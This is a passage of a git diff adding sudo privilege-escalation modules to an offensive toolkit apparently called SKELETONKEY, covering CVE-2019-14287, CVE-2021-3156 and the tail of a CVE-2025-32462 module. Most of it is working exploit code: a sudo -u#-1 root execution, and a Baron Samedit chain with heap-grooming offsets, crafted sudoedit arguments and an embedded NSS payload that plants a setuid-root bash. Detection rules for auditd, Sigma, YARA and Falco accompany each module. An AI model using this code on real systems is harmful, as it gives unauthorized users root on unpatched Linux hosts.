||||
.detect_falco = sudo_host_falco,
|
||||
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_host(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_host_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* sudo_host_cve_2025_32462 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
|
||||
#define SUDO_HOST_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module sudo_host_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,286 @@
|
||||
/*
|
||||
* sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race.
|
||||
* `sudo -u#-1 <cmd>` parses `-1` as uid_t (unsigned) → wraps to
|
||||
* 0xFFFFFFFF → sudo's setresuid() path treats it as "match any
|
||||
* uid" and converts to 0 → runs <cmd> as root, even when sudoers
|
||||
* explicitly says "ALL except root".
|
||||
*
|
||||
* The bug (Joe Vennix / Apple Information Security, October 2019):
|
||||
* sudoers grammar lets admins write rules like
|
||||
* bob ALL=(ALL,!root) /bin/vi
|
||||
* intending "bob can run vi as any user except root". The Runas
|
||||
* user is specified at invocation via `-u <user>` or `-u#<uid>`.
|
||||
* The integer parser for `-u#<n>` does NOT validate negative
|
||||
* numbers; passing `-u#-1` (or its unsigned-32-bit form
|
||||
* `-u#4294967295`) bypasses the explicit `!root` blacklist and
|
||||
* ALSO bypasses standard setresuid() because the kernel rejects
|
||||
* uid_t = -1 and falls back to keeping the current uid (which sudo
|
||||
* has already elevated to root for argument parsing).
|
||||
*
|
||||
* Discovered by Joe Vennix. Public PoC: exploit-db #47502.
|
||||
* https://www.exploit-db.com/exploits/47502
|
||||
*
|
||||
* Affects: sudo < 1.8.28. Fixed by adding a positive-number check
|
||||
* to the `-u#<n>` parser.
|
||||
*
|
||||
* Preconditions:
|
||||
* - sudo installed + suid
|
||||
* - The invoking user has a sudoers entry of the form
|
||||
* USER HOST=(ALL,!root) /path/to/cmd
|
||||
* or any sudoers entry with `(ALL` in the Runas spec that
|
||||
* blacklists root. WITHOUT such an entry the bug is irrelevant
|
||||
* because the user has no sudoers grant to abuse in the first
|
||||
* place — detect() short-circuits PRECOND_FAIL in that case.
|
||||
*
|
||||
* arch_support: any. Pure shell-level invocation; works identically
|
||||
* on every Linux arch sudo is built for.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true iff the version string is < 1.8.28 (the fix release). */
|
||||
static bool sudo_version_vulnerable(const char *v)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0; int psub = 0;
|
||||
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → conservative */
|
||||
if (maj < 1) return false;
|
||||
if (maj > 1) return false;
|
||||
if (min < 8) return false; /* < 1.8 predates `-u#` parser */
|
||||
if (min > 8) return false; /* >= 1.9 includes fix */
|
||||
/* exactly 1.8.x: vulnerable iff patch < 28 */
|
||||
return patch < 28;
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's
|
||||
* the precondition. Returns a stored command path the user can execve. */
|
||||
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
|
||||
{
|
||||
char cmd[512];
|
||||
/* -n -l separated + stdin closed: see sudoedit_editor for the same
|
||||
* pattern + rationale. `--auto` must never block on a tty prompt. */
|
||||
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>/dev/null", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
/* Looking for " (ALL," or " (ALL : ..." with an
|
||||
* exclusion (!root or !#0) on a line that resolves to a
|
||||
* runnable command. Conservative parser: any line containing
|
||||
* "(ALL" + "!root" wins. */
|
||||
if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) {
|
||||
/* Extract the last token (the command path) from the line. */
|
||||
char *tok = strrchr(line, ' ');
|
||||
if (tok) {
|
||||
tok++;
|
||||
char *nl = strchr(tok, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(cmd_out, tok, cap - 1);
|
||||
cmd_out[cap - 1] = 0;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
pclose(p);
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = (ctx->host && ctx->host->sudo_version[0])
|
||||
? ctx->host->sudo_version
|
||||
: (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL);
|
||||
if (!ver) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */
|
||||
char grant[256] = {0};
|
||||
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver);
|
||||
fprintf(stderr, " Bug exists on the host; this user has no exploitable grant.\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n",
|
||||
ver, grant);
|
||||
fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
char grant[256] = {0};
|
||||
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||
fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant);
|
||||
fflush(NULL);
|
||||
|
||||
/* If grant looks like /bin/sh-able command, run it directly.
|
||||
* Otherwise leave the operator to pop the shell themselves. */
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL);
|
||||
perror("execl(sudo)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_runas_neg1_auditd[] =
|
||||
"# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n"
|
||||
"# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n";
|
||||
|
||||
static const char sudo_runas_neg1_sigma[] =
|
||||
"title: Possible CVE-2019-14287 sudo Runas -1 LPE\n"
|
||||
"id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n"
|
||||
" trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n"
|
||||
" is never used legitimately; any occurrence is an exploit\n"
|
||||
" attempt or an audit/training exercise.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||
" condition: s\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n";
|
||||
|
||||
static const char sudo_runas_neg1_yara[] =
|
||||
"rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2019-14287\"\n"
|
||||
" description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $a = \"-u#-1\" ascii\n"
|
||||
" $b = \"-u#4294967295\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudo_runas_neg1_falco[] =
|
||||
"- rule: sudo -u#-1 (Runas negative-one LPE)\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n"
|
||||
" underflow makes sudo treat the request as uid 0; affects\n"
|
||||
" sudo < 1.8.28. There is no legitimate use of this argument\n"
|
||||
" syntax.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n"
|
||||
" output: >\n"
|
||||
" sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n";
|
||||
|
||||
const struct skeletonkey_module sudo_runas_neg1_module = {
|
||||
.name = "sudo_runas_neg1",
|
||||
.cve = "CVE-2019-14287",
|
||||
.summary = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo < 1.8.28",
|
||||
.detect = sudo_runas_neg1_detect,
|
||||
.exploit = sudo_runas_neg1_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.8.28+ */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = sudo_runas_neg1_auditd,
|
||||
.detect_sigma = sudo_runas_neg1_sigma,
|
||||
.detect_yara = sudo_runas_neg1_yara,
|
||||
.detect_falco = sudo_runas_neg1_falco,
|
||||
.opsec_notes = "Invokes sudo with `-u#-1 <granted-cmd>` where <granted-cmd> is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_runas_neg1(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_runas_neg1_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||
#define SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||
#endif
|
||||
@@ -1,34 +1,39 @@
|
||||
/*
|
||||
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
|
||||
* STATUS: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 18.04.0 /
|
||||
* sudo 1.8.21p2 / libc-2.27: `skeletonkey --exploit sudo_samedit` (as an
|
||||
* unprivileged, non-sudoer user) lands uid=0 and plants a root-owned
|
||||
* proof + setuid-root bash.
|
||||
*
|
||||
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
|
||||
* parser unescapes backslashes in the argv it copies into a heap
|
||||
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
|
||||
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
|
||||
* walks past the end of the argv string for arguments ending in a
|
||||
* lone backslash, copying adjacent stack/env contents into the
|
||||
* undersized heap buffer. The classic trigger is a single-argument
|
||||
* command line: `sudoedit -s '\<arbitrary tail>'`.
|
||||
* parser unescapes backslashes in the argv it copies into a heap buffer
|
||||
* in `set_cmnd()` (plugins/sudoers/sudoers.c). Invoked as `sudoedit -s`
|
||||
* with an argument ending in a lone backslash, the unescape loop walks
|
||||
* past the end of the argv string, copying adjacent env contents into an
|
||||
* undersized heap buffer. The overflow is exploited (per blasty's PoC) to
|
||||
* overwrite a glibc NSS `service_user` so a subsequent NSS lookup dlopen's
|
||||
* an attacker-planted `libnss_X/P0P_SH3LLZ_ .so.2` from the CWD; its
|
||||
* constructor runs while sudo is still root.
|
||||
*
|
||||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2.
|
||||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2. Reachable by
|
||||
* any local user (the overflow precedes the sudoers/password check).
|
||||
*
|
||||
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
|
||||
* baron-samedit-heap-based-overflow-sudo.txt
|
||||
* PoC technique: github.com/blasty/CVE-2021-3156
|
||||
*
|
||||
* Detect: shell out to `sudo --version`, parse the printed version,
|
||||
* compare against the vulnerable range. We err on the side of
|
||||
* reporting OK only when we're confident — TEST_ERROR if the version
|
||||
* line is unparseable.
|
||||
* Detect: parse the sudo version (host fingerprint or `sudo --version`)
|
||||
* against the vulnerable range. Distro backports may patch without a
|
||||
* version bump, so a VULNERABLE verdict is "worth trying", confirmed only
|
||||
* by the exploit landing.
|
||||
*
|
||||
* Exploit: ships a structurally-correct Qualys-style trigger.
|
||||
* The full chain in the original PoC required per-distro heap-layout
|
||||
* tuning (libc/libnss-files overlap offsets, target struct picks).
|
||||
* We do not have empirical landing on this host; we drive the
|
||||
* trigger, watch for an obvious uid==0 outcome, otherwise return
|
||||
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
|
||||
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
|
||||
* Exploit: blasty's heap-grooming lengths (per libc family) drive the
|
||||
* overflow; we compile the NSS payload on the target, run sudoedit with
|
||||
* the crafted argv/env from a CWD holding the payload, and confirm root
|
||||
* by stat()'ing the root-owned artifacts — never by self-report. If the
|
||||
* primary lengths miss (libc layout drift), we sweep null_stomp_len like
|
||||
* blasty's brute.sh until root or the range is exhausted.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
@@ -42,26 +47,13 @@
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <ctype.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* ---- Affected-version logic ------------------------------------- */
|
||||
|
||||
/*
|
||||
* sudo version strings look like:
|
||||
* "Sudo version 1.9.5p2"
|
||||
* "Sudo version 1.8.31"
|
||||
* "Sudo version 1.9.0"
|
||||
* "Sudo version 1.9.5p1"
|
||||
*
|
||||
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
|
||||
* Fixed: 1.9.5p2 and later
|
||||
*
|
||||
* Parser strategy: extract three integers (major.minor.patch) plus an
|
||||
* optional 'pN' suffix. Comparison is lexicographic over
|
||||
* (major, minor, patch, p_suffix), treating absent p as 0.
|
||||
*/
|
||||
struct sudo_ver {
|
||||
int major;
|
||||
int minor;
|
||||
@@ -83,7 +75,6 @@ static struct sudo_ver parse_sudo_version(const char *s)
|
||||
v.major = maj;
|
||||
v.minor = min;
|
||||
v.patch = (n >= 3) ? pat : 0;
|
||||
/* Look for an optional 'pN' suffix after the numeric triple. */
|
||||
const char *tail = s + consumed;
|
||||
if (*tail == 'p') {
|
||||
int p = 0;
|
||||
@@ -115,18 +106,13 @@ static bool sudo_version_vulnerable(const struct sudo_ver *v)
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo",
|
||||
"/usr/local/bin/sudo",
|
||||
"/bin/sudo",
|
||||
"/sbin/sudo",
|
||||
"/usr/sbin/sudo",
|
||||
NULL,
|
||||
"/usr/bin/sudo", "/usr/local/bin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/sbin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -134,12 +120,8 @@ static const char *find_sudo(void)
|
||||
static const char *find_sudoedit(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudoedit",
|
||||
"/usr/local/bin/sudoedit",
|
||||
"/bin/sudoedit",
|
||||
"/sbin/sudoedit",
|
||||
"/usr/sbin/sudoedit",
|
||||
NULL,
|
||||
"/usr/bin/sudoedit", "/usr/local/bin/sudoedit", "/bin/sudoedit",
|
||||
"/sbin/sudoedit", "/usr/sbin/sudoedit", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
if (access(candidates[i], X_OK) == 0) return candidates[i];
|
||||
@@ -151,30 +133,21 @@ static const char *find_sudoedit(void)
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Prefer the centrally-fingerprinted sudo version (populated once
|
||||
* at startup by core/host.c) — saves a popen per scan and gives
|
||||
* unit tests a clean mock point. Fall back to the local popen if
|
||||
* ctx->host is missing the version (e.g. degenerate test ctx, or
|
||||
* a future refactor that disables userspace probing). */
|
||||
char line[256] = {0};
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
snprintf(line, sizeof line, "Sudo version %s",
|
||||
ctx->host->sudo_version);
|
||||
if (!ctx->json) {
|
||||
snprintf(line, sizeof line, "Sudo version %s", ctx->host->sudo_version);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
|
||||
"sudo version %s\n", ctx->host->sudo_version);
|
||||
}
|
||||
} else {
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
||||
}
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
@@ -182,22 +155,19 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) {
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
/* Trim newline for nicer logging. */
|
||||
char *nl = strchr(line, '\n');
|
||||
if (nl) *nl = 0;
|
||||
|
||||
struct sudo_ver v = parse_sudo_version(line);
|
||||
if (!v.parsed) {
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
@@ -208,66 +178,165 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "\n");
|
||||
}
|
||||
|
||||
bool vuln = sudo_version_vulnerable(&v);
|
||||
if (vuln) {
|
||||
if (!ctx->json) {
|
||||
if (sudo_version_vulnerable(&v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: version is in vulnerable range "
|
||||
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
|
||||
"[i] sudo_samedit: distro backports may have patched "
|
||||
"without bumping the upstream version; check\n"
|
||||
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
|
||||
"for CVE-2021-3156.\n");
|
||||
}
|
||||
" `apt-cache policy sudo` for CVE-2021-3156.\n");
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[+] sudo_samedit: version is outside vulnerable range "
|
||||
"(fix 1.9.5p2+) — OK\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Exploit ----------------------------------------------------- */
|
||||
/* ---- Exploit (blasty CVE-2021-3156 technique) -------------------- */
|
||||
|
||||
/*
|
||||
* Qualys-style trigger:
|
||||
*
|
||||
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
|
||||
* stretch the heap chunk to the right size for the target overlap.
|
||||
*
|
||||
* The original PoC sprays hundreds of large argv slots and tunes the
|
||||
* tail bytes per-distro to hijack a `service_user *` struct in
|
||||
* libnss-files. Without distro fingerprinting and the corresponding
|
||||
* offset table that landing simply will not happen here; rather than
|
||||
* pretending otherwise we drive the bug, fork a verifier that checks
|
||||
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
|
||||
*/
|
||||
/* NSS payload source, compiled on the target into
|
||||
* <workdir>/libnss_X/P0P_SH3LLZ_ .so.2. Its constructor runs while sudo
|
||||
* is still root (the corrupted NSS lookup dlopen's it); it plants a
|
||||
* root-owned proof + setuid bash and exits. SK_PROOF/SK_ROOTBASH are
|
||||
* passed at compile time (the process env is the exploit vector, so we
|
||||
* can't smuggle paths through it). */
|
||||
static const char samedit_payload_src[] =
|
||||
"#define _GNU_SOURCE\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"static void __attribute__((constructor)) _sk_init(void);\n"
|
||||
"static void _sk_init(void){\n"
|
||||
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
|
||||
" if (geteuid()!=0) return; /* brute miss — don't drop */\n"
|
||||
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
|
||||
" \"cp -f /bin/bash \" SK_ROOTBASH \"; \"\n"
|
||||
" \"chown 0:0 \" SK_ROOTBASH \" \" SK_PROOF \"; \"\n"
|
||||
" \"chmod 4755 \" SK_ROOTBASH \"; sync\");\n"
|
||||
" _exit(0);\n"
|
||||
"}\n";
|
||||
|
||||
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
|
||||
* to stay well under typical ARG_MAX while still exercising the bug
|
||||
* shape. */
|
||||
#define SUDO_SAMEDIT_ARGC 64
|
||||
#define SUDO_SAMEDIT_PADLEN 0xff
|
||||
/* blasty's per-libc-family grooming lengths. Ubuntu 18.04/20.04 share
|
||||
* one set; Debian 10 uses another. These are the (a, b, null, lc) tuples. */
|
||||
struct samedit_target {
|
||||
const char *name;
|
||||
int smash_a, smash_b, null_stomp, lc_all;
|
||||
};
|
||||
static const struct samedit_target samedit_ubuntu = {
|
||||
"Ubuntu (sudo 1.8.21/1.8.31, libc 2.27/2.31)", 56, 54, 63, 212
|
||||
};
|
||||
static const struct samedit_target samedit_debian = {
|
||||
"Debian 10 (sudo 1.8.27, libc 2.28)", 64, 49, 60, 214
|
||||
};
|
||||
|
||||
static const char *samedit_find_cc(void)
|
||||
{
|
||||
static const char *ccs[] = {
|
||||
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
|
||||
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||
};
|
||||
for (size_t i = 0; ccs[i]; i++)
|
||||
if (access(ccs[i], X_OK) == 0) return ccs[i];
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* fork/exec argv, redirect stdio away, wait with a timeout. */
|
||||
static int samedit_run(char *const argv[], const char *cwd, int secs)
|
||||
{
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
if (cwd && chdir(cwd) != 0) _exit(126);
|
||||
int dn = open("/dev/null", O_RDWR);
|
||||
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
|
||||
execv(argv[0], argv);
|
||||
_exit(127);
|
||||
}
|
||||
for (int i = 0; i < secs * 20; i++) {
|
||||
int st;
|
||||
pid_t r = waitpid(p, &st, WNOHANG);
|
||||
if (r == p) return 0;
|
||||
if (r < 0) return -1;
|
||||
usleep(50 * 1000);
|
||||
}
|
||||
kill(p, SIGKILL);
|
||||
waitpid(p, NULL, 0);
|
||||
return -2;
|
||||
}
|
||||
|
||||
/* Run one sudoedit attempt with the given grooming lengths; returns true
|
||||
* iff the OOB proof file now exists and is root-owned. */
|
||||
static bool samedit_try(const char *sudoedit, const char *workdir,
|
||||
int a, int b, int null_stomp, int lc_all,
|
||||
const char *proof)
|
||||
{
|
||||
unlink(proof);
|
||||
|
||||
char *smash_a = calloc(a + 2, 1);
|
||||
char *smash_b = calloc(b + 2, 1);
|
||||
char *lc = calloc(lc_all + 32, 1);
|
||||
if (!smash_a || !smash_b || !lc) { free(smash_a); free(smash_b); free(lc); return false; }
|
||||
memset(smash_a, 'A', a); smash_a[a] = '\\';
|
||||
memset(smash_b, 'B', b); smash_b[b] = '\\';
|
||||
strcpy(lc, "LC_ALL=C.UTF-8@");
|
||||
memset(lc + 15, 'C', lc_all);
|
||||
|
||||
char *s_argv[] = { (char *)"sudoedit", (char *)"-s", smash_a,
|
||||
(char *)"\\", smash_b, NULL };
|
||||
|
||||
